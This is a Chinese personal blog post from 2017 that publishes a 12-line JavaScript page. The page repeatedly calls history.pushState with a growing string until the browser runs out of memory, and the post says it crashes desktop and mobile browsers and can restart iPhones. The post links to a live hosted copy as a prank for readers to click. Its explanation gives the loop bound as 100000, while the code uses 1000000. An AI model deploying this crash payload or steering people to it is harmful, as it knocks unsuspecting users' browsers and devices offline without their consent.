这12行代码分分钟让你浏览器崩溃iPhone重启

原创 彭淇  2017-09-25 12:33:40  阅读 2213 次 评论 2 条
华为云秒杀活动

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启,如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死,你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。

这12行代码分分钟让你浏览器崩溃iPhone重启  js 统计 电脑 系统 程序 第1张

源代码如下:


<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
   total= total+i.toString();
   history.pushState(0,0,total);
}
</script>
</body>
</html>


https://pengqi.club/ceshi.html(点击一下,又不会怀孕!) 点开后会发生什么?反正我的第一反应是这样的:

这12行代码分分钟让你浏览器崩溃iPhone重启  js 统计 电脑 系统 程序 第2张


解答: history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了


本文地址:https://pengqi.club/blog/129.html
版权声明:本文为原创文章,版权归 彭淇 所有,欢迎分享本文,转载请保留出处!
华为云秒杀活动
华为云秒杀活动

发表评论


表情

评论列表

  1. 大蝴蝶
    大蝴蝶 【县长】  @回复

    可以

  2. 唯美陌阡
    唯美陌阡 【农民】  @回复

    [code][S19]好羞射,文章真的好赞啊,顶博主![/code]